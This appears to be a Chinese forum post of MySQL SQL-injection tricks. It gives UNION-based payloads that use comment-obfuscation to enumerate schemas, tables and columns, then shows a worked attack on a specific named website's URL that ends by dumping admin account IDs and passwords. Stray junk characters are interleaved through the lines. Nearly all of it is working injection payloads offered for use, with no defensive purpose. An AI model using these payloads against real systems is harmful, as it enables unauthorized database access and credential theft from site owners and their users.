mysql注入技巧

admin

查库

id=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

% |! j; u$ Q: |查表

id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
1 }9 r0 f1 N+ T3 k
4 [: S! }/ W: r3 v, Q查段
( q8 ?6 a7 S9 o* I
- a) s2 n: E) h" {: b+ \id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
2 N# G$ \+ v3 k1 C7 U$ O
& ], @- H8 j% W4 R1 C# v
mysql5高级注入方法暴表
! g$ A* B( Y4 j2 q8 P1 f4 l
例子如下:
: ]( ^# ~' L% i1 k
1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
# \" I/ x; C* F. C1 @这样爆到第4个时出现了admin_user表。
3 h8 m0 N6 \8 B4 O! d
2.暴字段
* i8 C0 K; N1 B$ p! Z/ Z: ghttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*

0 \, U1 ~2 i2 b6 b
3.爆密码
+ R7 h9 z# y8 U2 p/ u" ]4 Hhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*

. T+ h9 w5 ?6 F% [# K
4 }% k" @' e1 `8 t' ~  ^